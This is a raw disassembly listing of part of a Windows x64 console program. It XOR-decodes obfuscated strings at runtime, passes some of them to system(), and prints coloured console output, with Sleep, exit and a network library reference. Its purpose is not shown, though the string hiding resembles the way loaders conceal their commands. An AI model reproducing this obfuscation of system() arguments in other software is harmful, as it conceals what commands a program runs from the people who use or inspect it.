mov eax, 0x624
mov ecx, dword [rax + rdx]
mov r14d, 0x22c
test cl, 1
jne 0x14000677f
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rdx + r14 + 1], 0x17d
mov byte [rdx + r14], 0xf3
lea rcx, [0x1400589c0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, r14
cmp byte [rdx + 2], 0
je 0x14000755e
xor byte [rdx], 0xf9
xor byte [rdx + 1], 0x7d
jmp 0x14000755a
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x594
mov eax, dword [rdx + rcx]
mov ebx, 0x1fc
test al, 1
jne 0x1400067e6
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 3], 0x1c5
mov word [rcx + rbx], 0x5138
mov byte [rcx + rbx + 2], Ordinal_217
lea rcx, [0x1400589a0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x14000680e
xor byte [rcx], 0x5b
xor byte [rcx + 1], 0x3d
xor byte [rcx + 2], 0xab
xor byte [rcx + 3], 0xc5
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066bd0]
mov dword [rbp + 0x548], 0x8a051f2a
mov dword [rbp + 0x54c], 0x1ea562d6
mov dword [rbp + 0x550], 0x85081e25
mov word [rbp + 0x554], 0x28c1
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x35c
mov eax, dword [rdx + rcx]
mov esi, 0x2c0
test al, 1
jne 0x140006901
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rsi
mov byte [rcx + 0x1f], 1
lea rax, [rcx + 0x1e]
lea rdx, [rbp + 0x556]
cmp rcx, rdx
ja 0x1400068cc
lea rdx, [rbp + 0x538]
cmp rax, rdx
jb 0x1400068cc
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x548]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x550]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x554]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0x85
lea rcx, [0x140058970]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rsi
cmp byte [rdx + 0x1f], 0
je 0x140006995
xor byte [rdx], 0x49
xor byte [rdx + 1], 0x77
xor byte [rdx + 2], 0x6d
xor byte [rdx + 3], 0xeb
xor byte [rdx + 4], 0xb5
xor byte [rdx + 5], 9
xor byte [rdx + 6], 0x85
xor byte [rdx + 7], 0x5d
xor byte [rdx + 8], 0x49
xor byte [rdx + 9], 0x77
xor byte [rdx + 0xa], 0x6d
xor byte [rdx + 0xb], 0xeb
xor byte [rdx + 0xc], 0xb5
xor byte [rdx + 0xd], 9
xor byte [rdx + 0xe], 0x85
xor byte [rdx + 0xf], 0x5d
xor byte [rdx + 0x10], 0x49
xor byte [rdx + 0x11], 0x77
xor byte [rdx + 0x12], 0x6d
xor byte [rdx + 0x13], 0xeb
xor byte [rdx + 0x14], 0xb5
xor byte [rdx + 0x15], 9
xor byte [rdx + 0x16], 0x85
xor byte [rdx + 0x17], 0x5d
xor byte [rdx + 0x18], 0x49
xor byte [rdx + 0x19], 0x77
xor byte [rdx + 0x1a], 0x6d
xor byte [rdx + 0x1b], 0xeb
xor byte [rdx + 0x1c], 0xb5
xor byte [rdx + 0x1d], 9
xor byte [rdx + 0x1e], 0x85
mov byte [rdx + 0x1f], 0
mov rcx, rbx
call fcn.1400019f0
mov rbx, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x3a8
mov ecx, dword [rax + rdx]
mov esi, 0x414
test cl, 1
jne 0x1400069dc
mov byte [rdx + 2], 0
mov rcx, rbx
call fcn.1400019f0
mov edx, 8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
lea rcx, [rbp + 0x780]
call fcn.140001910
test esi, esi
jne 0x140007699
lea edx, [rsi + 1]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066ae0]
mov dword [rbp + 0x728], 0xddd55660
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3d8
mov eax, dword [rdx + rcx]
mov esi, 0x360
test al, 1
jne 0x14000761b
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rsi
mov byte [rcx + 0x14], 1
lea rax, [rcx + 0x13]
lea rdx, [rbp + 0x72b]
cmp rcx, rdx
ja 0x140007602
lea rdx, [rbp + 0x718]
cmp rax, rdx
jb 0x140007602
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x728]
mov dword [rcx + 0x10], eax
jmp 0x14000760e
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x728]
mov dword [rcx + 0x10], eax
lea rcx, [0x140058700]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rsi
cmp byte [rdx + 0x14], 0
je 0x140007683
xor byte [rdx], 0x19
xor byte [rdx + 1], 0x77
xor byte [rdx + 2], 0xdf
xor byte [rdx + 3], 0xdd
xor byte [rdx + 4], 0x29
xor byte [rdx + 5], 1
xor byte [rdx + 6], 0x3f
xor byte [rdx + 7], 0x77
xor byte [rdx + 8], 0x19
xor byte [rdx + 9], 0x77
xor byte [rdx + 0xa], 0xdf
xor byte [rdx + 0xb], 0xdd
xor byte [rdx + 0xc], 0x29
xor byte [rdx + 0xd], 1
xor byte [rdx + 0xe], 0x3f
xor byte [rdx + 0xf], 0x77
xor byte [rdx + 0x10], 0x19
xor byte [rdx + 0x11], 0x77
xor byte [rdx + 0x12], 0xdf
xor byte [rdx + 0x13], 0xdd
mov byte [rdx + 0x14], 0
mov rcx, rbx
call fcn.1400019f0
mov edx, 8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 2
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066d50]
mov dword [rbp + 0x588], 0xeeee1d88
mov dword [rbp + 0x58c], 0xf5b2c8d3
mov dword [rbp + 0x590], 0x818f1c8e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x528
mov eax, dword [rdx + rcx]
mov esi, 0x420
test al, 1
jne 0x14000775b
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rsi
mov byte [rcx + 0x1c], 1
lea rax, [rcx + 0x1b]
lea rdx, [rbp + 0x593]
cmp rcx, rdx
ja 0x140007735
lea rdx, [rbp + 0x578]
cmp rax, rdx
jb 0x140007735
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x588]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x590]
mov dword [rcx + 0x18], eax
jmp 0x14000774e
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x588]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x590]
mov dword [rcx + 0x18], eax
lea rcx, [0x1400586d0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rsi
cmp byte [rdx + 0x1c], 0
je 0x1400077e3
xor byte [rdx], 0xeb
xor byte [rdx + 1], 0x3d
xor byte [rdx + 2], 0x85
xor byte [rdx + 3], 0x81
xor byte [rdx + 4], 0xbd
xor byte [rdx + 5], 0xbb
xor byte [rdx + 6], 0xdd
xor byte [rdx + 7], 0x99
xor byte [rdx + 8], 0xeb
xor byte [rdx + 9], 0x3d
xor byte [rdx + 0xa], 0x85
xor byte [rdx + 0xb], 0x81
xor byte [rdx + 0xc], 0xbd
xor byte [rdx + 0xd], 0xbb
xor byte [rdx + 0xe], 0xdd
xor byte [rdx + 0xf], 0x99
xor byte [rdx + 0x10], 0xeb
xor byte [rdx + 0x11], 0x3d
xor byte [rdx + 0x12], 0x85
xor byte [rdx + 0x13], 0x81
xor byte [rdx + 0x14], 0xbd
xor byte [rdx + 0x15], 0xbb
xor byte [rdx + 0x16], 0xdd
xor byte [rdx + 0x17], 0x99
xor byte [rdx + 0x18], 0xeb
xor byte [rdx + 0x19], 0x3d
xor byte [rdx + 0x1a], 0x85
xor byte [rdx + 0x1b], 0x81
mov byte [rdx + 0x1c], 0
mov rcx, rbx
call fcn.1400019f0
mov edx, 8
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x340
mov eax, dword [rdx + rcx]
mov ebx, 0x318
test al, 1
jne 0x14000783c
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 5], 0x17d
mov dword [rbx + rcx], 0x6c600ea1
mov byte [rbx + rcx + 4], Ordinal_211
lea rcx, [0x1400586b0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 6], 0
je 0x14000786c
xor byte [rcx], 0xd1
xor byte [rcx + 1], 0x6f
xor byte [rcx + 2], 0x15
xor byte [rcx + 3], 0x1f
xor byte [rcx + 4], 0xb5
xor byte [rcx + 5], 0x7d
mov byte [rcx + 6], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rbp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x7a0]
call fcn.140001910
nop
mov rcx, qword [rbp + 0x6c8]
test rcx, rcx
je 0x1400078f9
mov rdx, qword [rbp + 0x6d0]
call fcn.1400087b0
mov rdx, qword [rbp + 0x6d8]
mov rcx, qword [rbp + 0x6c8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008a74
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x6c8], xmm0
mov qword [rbp + 0x6d8], rdi
mov rcx, qword [rbp + 0x6e0]
test rcx, rcx
je 0x140007965
mov rdx, qword [rbp + 0x6e8]
call fcn.1400087b0
mov rdx, qword [rbp + 0x6f0]
mov rcx, qword [rbp + 0x6e0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000794e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000794e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008a74
mov qword [rbp + 0x6e0], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x6e8], xmm0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0x10
jb 0x1400079a9
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008a74
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x690]
cmp rdx, 0x10
jb 0x140007a06
inc rdx
mov rcx, qword [rbp + 0x678]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008a74
mov qword [rbp + 0x688], rdi
mov qword [rbp + 0x690], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x678], 0
mov rdx, qword [rbp + 0x710]
cmp rdx, 0x10
jb 0x140007a63
inc rdx
mov rcx, qword [rbp + 0x6f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008a74
xor eax, eax
mov rcx, qword [rbp + 0x930]
xor rcx, rsp
call fcn.140008a10
lea r11, [rsp + 0xae0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140007cc0
nop
mov rcx, rax
call fcn.140008090
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007d20
mov rcx, rax
call fcn.140008010
mov rdx, rax
mov rcx, rbx
call fcn.1400019f0
lea rdx, [0x140008520]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 8
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007c50
mov rcx, rax
call fcn.1400080b0
mov rdx, rax
mov rcx, rbx
call fcn.1400019f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.1400011a0
int3
call fcn.140001100
int3